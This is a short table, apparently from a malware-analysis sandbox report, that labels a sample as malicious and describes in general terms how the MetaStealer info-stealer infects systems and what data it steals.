| Verdict: | Malicious activity |
| Threats: | MetaStealer is an info-stealing malware primarily targeting sensitive data like login credentials, payment details, and browser history. It typically infects systems via phishing emails or malicious downloads and can exfiltrate data to a command and control (C2) server. MetaStealer is known for its stealthy techniques, including evasion and persistence mechanisms, which make it difficult to detect. This malware has been actively used in various cyberattacks, particularly for financial theft and credential harvesting from individuals and organizations. |
